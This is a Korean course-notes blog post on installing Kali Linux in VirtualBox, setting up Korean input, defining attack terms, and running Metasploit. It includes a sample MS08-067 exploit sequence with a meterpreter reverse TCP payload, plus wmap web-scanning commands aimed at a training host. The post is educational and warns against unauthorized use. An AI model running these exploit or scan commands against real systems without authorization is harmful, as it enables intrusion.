KDT/Cloud

240322 Cloud - 칼리 리눅스(Kali Linux)

001cloudid 2024. 3. 22. 12:49
728x90

칼리 리눅스

  • 보안 해킹툴이 포함된 리눅스 운영체저 버전
  • Debian 계열의 리눅스
  • 600개 이상의 보안과 해킹 도구가 미리 설치되어 있음
  • 공격 보안 전문 보안 연구팀이 유지
  • 다운로드 https://www.kali.org/get-kali/#kali-platforms
  • .iso 또는 Pre-built VMs 형태로 다운로드
  • 다운로드 후 윈도우에서 가상화 프로그램을 통해 운영을 하게 됨
    => 가상화 프로그램 VM Ware 또는 Virtual Box 사용

 

설치 로드맵

  1. 이미지 또는 VMs 다운로드
  2. 가상화 프로그램 설치
  3. 가상화 프로그램(Virtual Box)에 등록하기

 

.iso를 사용하여 설치

  1. VirtualBox Manager 실행
  2. 우측 상단 새로 만들기 - 전문가 모드
    이름 : Kail
    폴더 : 기본값
    ISO 이미지 : 기타 - 다운로드한 kail-linux-2024.1-installer-amd64.iso 선택
    종류 : Linux
    버전 : Debian(64-bit)
    하드웨어 - 기본 메모리 : 2048MB, 프로세서 : 8(초록색끝까지)
    하드디스크 - 20.00GB를 100.00GB로 변경
    => 완료(그림 1 과 같이 생성됨)
  3. 왼쪽 머신 리스트 Kail(전원꺼짐)이 보임 오른쪽 설정
  4. 시스템 - 마더보드 - 하드웨어 시각을 UTC로 보고 해제
    네트워크 - 어댑터1 - 다음에 연결됨 : 어댑터에 브리지
    => 확인
    => 시작

그림 1.

시작 후

1. Graphic Install 선택

2. 언어 선택 : 한국어, 위치 : 대한민국, 한국어

※네트워크 관련 에러 발생(DHCP 설정 실패) => 계속 -> 네트워크 수정 설정 -> IP주소 설정

3. 네트워크 설정

호스트 이름 : kali -> 도메인 이름 : localhost

4. 사용자 및 암호 설정

새로 만들 사용자의 전체 이름 : kali -> 계정의 사용자 이름 : kali -> 암호 설정 : kali

5. 디스크 파티션하기

자동-디스크 전체 사용(기본값) -> SCSI3 -> 모두 한 파티션에 설치 -> 파티션 나누기를 마치고 바뀐 바뀐 사항을 디스크에 쓰기 -> 예

6. 소프트웨어 선택

기본값

7. GRUB 부트로더 설치

예 -> /dev/sda 선택

8. 설치 마치기 -> 계속 -> 설치 완료

 

로그인 화면

설정한 이름과 비밀번호 입력


Pre-built VMs 사용하여 설치

1. VirtualBox Manager 실행

2. 새로 만들기 -> 가상머신 만들기

이름 및 운영체제

이름 : Kali2

폴더 : 기본값

ISO 이미지 : 선택하지 않음

종류 : Linux

버전 : Debian(64bit)

 

하드웨어

디스크 : 2048MB

프로세서: 초록색 끝까

 

하드디스크

기존 가상 하드 디스크 파일 사용 -> 오른쪽 디스크 아이콘 -> 하드 디스크 선택기 창 -> 추가 -> 약 23GB 파일(kali-linux-2023.4-virtualbox-amd64) Virtual Dist Image 선택 -> Not Attached 아래 kali-linux-2023.4-virtualbox-amd64.vdi가 추가됨

-> 선택

 

완료 -> VirualBox 목록에 Kali2가 생성됨

Kali2 설정

시스템 - 마더보드 - 하드웨어 시각을 UTC로 보고 해제
네트워크 - 어댑터1 - 다음에 연결됨 : 어댑터에 브리지

확인

 

Pre-built VMs의 경우 ID/PW가 기본적으로 설정되어 있음 kali/kali 임

 

보안을 위해 암호 변경

 

터미널 열고

sudo passwd kali

kali

새로운 비밀번호 입력

새로운 비밀번호 재입력

 

passwd : password updated successfully => 비밀번호 변경 완료


kali linux 한글 폰트 설치

  1. 터미널 창
  2. sudo apt-get update (centOS yum update와 동일)
  3. sudo apt-get install fcitx-hangul -y
    => 칼리 리눅스에 한글을 지원하는 fcitx-hangul 패키지 설정
  4. sudo apt-get install fcitx-lib* -y
    => 라이브러리 설치
  5. sudo apt-get install fonts-nanum*
    => 나눔 폰트 설치
  6. reboot 또는 init 6
    => 재부팅

한글 입력기 설정

1. 시작 -> input method 검색 후 클릭, OK -> Yes

2. @fcitx 선택 -> OK -> OK

3. 시작 -> Fcitx Configuration

왼쪽 하단에 + 버튼 클릭 후 Only Show Current Language 체크 해제

검색창에 'hangul' 입력 후 선택 OK

4. 터미널 창에서 Ctrl + SpaceBar 후 한글 입력이 되는지 확인


※용어 정리

Exploit : 시스템, 애플리케이션, 서버 등 취약점을 악용하는 방법

ex) SQL Injection, Buffer Overflow 등

Post : exploit 이후 추가 공격에 사용되는 도구 또는 모듈

Payload : 시스템이서 실행하고자 하는 코드로 프레임워크에 전달

Shell code : 공격 수행 시 수행할 때 Payload에 사용되는 명령 집합

Module : Metasploit framework에서 사용되는 소프트웨어의 부분

Auxiliary : 탐색에 사용되는 도구들


메타스플로잇(Metasploit) 프레임워크

웹 사이트의 보안을 테스트하고 취약점을 확인하는 도구

1. 시작 -> metasploit framework 검색 후 실행
(터미널에서는 msfconsole 을 입력하여 실행)

2. kali 계정 password 입력하여 시작

-> database user : msf, create database msf, msf_test

-> configuration file : /usr/share/metasploit-framework/config/database.yml

======================================================

Metasploit 기본명령어

search : 모듈 찾기

use : 특정 모듈 사용하기

info : 모듈에 관한 정보 보기

set : 옵션 설정하기

show options : 모듈의 옵션 보기

exploit : 최약점 공격 시도

ex) use exploit/windows/smb/ms08_067_netapi

show options

set RHOST [목표 호스트 IP]

set payload windows/meterpreter/reserve_tcp

set LHOST [로컬 호스트 IP]

exploit

======================================================

3. wmap 사용

wmap 유틸리티 실행, wmap 유틸리티는 웹 서버에 보안 결함이 있는지 여부를 테스트 할 수 있음

1) 로드하기

load wmap

=> wmap은 matasploit의 플러그인으로 로드해야 사용 할 수 있음

2) 타깃 설정

wmap_sites -a http:// c1d2310t1.itwillbs.com

=> wmap에 스캔할 웹 사이트의 정보를 입력

=> ex) wmap_sites -a http://1.1.1.1

=> [*]Site created. 가 나옴

3) 스캔 옵션 설정

=> -t : 스캔할 타겟을 선택, -e : 특정 경로만 스캔

wmap_targets -t http:// c1d2310t1.itwillbs.com

4) wmap 스캔 실행

wmap _run -t

=> 활성화된 모든 모듈을 나열

=> 디렉터리 테스트, 쿼리 테스트, 웹 서버 테스트 및 SSL 테스트를 위한 모듈을 포함해 몇 가지 다른 범주의 모듈도 보임

=> 지정된 모듈에 대한 자세한 설명을 보려면 info 명령 다음에 나열된 모듈의 전체 경로를 사용

 

info auxiliary/scanner/http/http_version

=> Rquired 내용이 yes라면 필수로 설정 해야하는 값임

 

wmap_run -m 옵션을 사용하면 해당 모듈을 사용

wmap_run -e 를 입력하면 활성화된 모듈을 사용하여 스캔을 시작

 

wmap_run -e 실행

=> 대상 사이트 및 활성화된 모듈 수에 따라 검사를 완료하는 데 많은 시간이 걸릴 수 있음

=> 완료되면 스캔을 완료하는 데 걸린 시간이 표시됨

 

5) 스캔 결과 확인

wmap_sites -l

=> 사용 가능한 사이트의 목록을 보여줌

wmp_targets -l

=> 지정된 타겟의 목록을 보여줌

wmap_vulns -l

=> 스캔된 취약점의 목록을 보여줌

 

6) 정리

메타스플로잇을 통해 웹 사이트에서 취약점을 파악하고 취약점을 이용 할 수 있음

예로 웹 서비스의 종류와 버전을 파악한다면 해당 버전의 취약점을 파악 할 수 있음

nginx는 'https://nginx.org/en/' 사이트를 통해 버전별로 취약점을 파악 할 수 있음

취약점은 코드로 표현됨

※CVE(Common Vulnerabilities and Exposure)

공개적으로 알려진 소프트웨어 보안 취약점을 가리키는 고유 표기

CVE라는 문자에 취약점이 발견된 연도와 임의의 번호를 붙여 만들어짐

CVE 넘버를 검색하거나 취약점의 이름을 검색하여 Metasploit에서 사용할 수 있음

사용하는 시스템 환경에 따라 취약점이 존재하며 이를 하나씩 보완하여 시스템 환경에 대한 보안성을 높임

 

※한국인터넷진흥원에서 발간하는 취약점 점검 가이드를 참고

 

단, Metasploit은 강력한 툴이며, 허가 받은 네트워크와 시스템에서만 사용해야함.

무단 침입은 불법이며 윤리적 해킹 원칙을 준수하는 것이 중요

728x90

'KDT > Cloud' 카테고리의 다른 글

240405 Cloud - 취약점 스캐닝  (0) 2024.04.05
240315 Cloud - Git & GitHub 2  (0) 2024.03.15
240308 Cloud - Git & GitHub 1  (0) 2024.03.08
240223 Cloud - HTTPS  (0) 2024.02.23
240216 Cloud  (0) 2024.02.16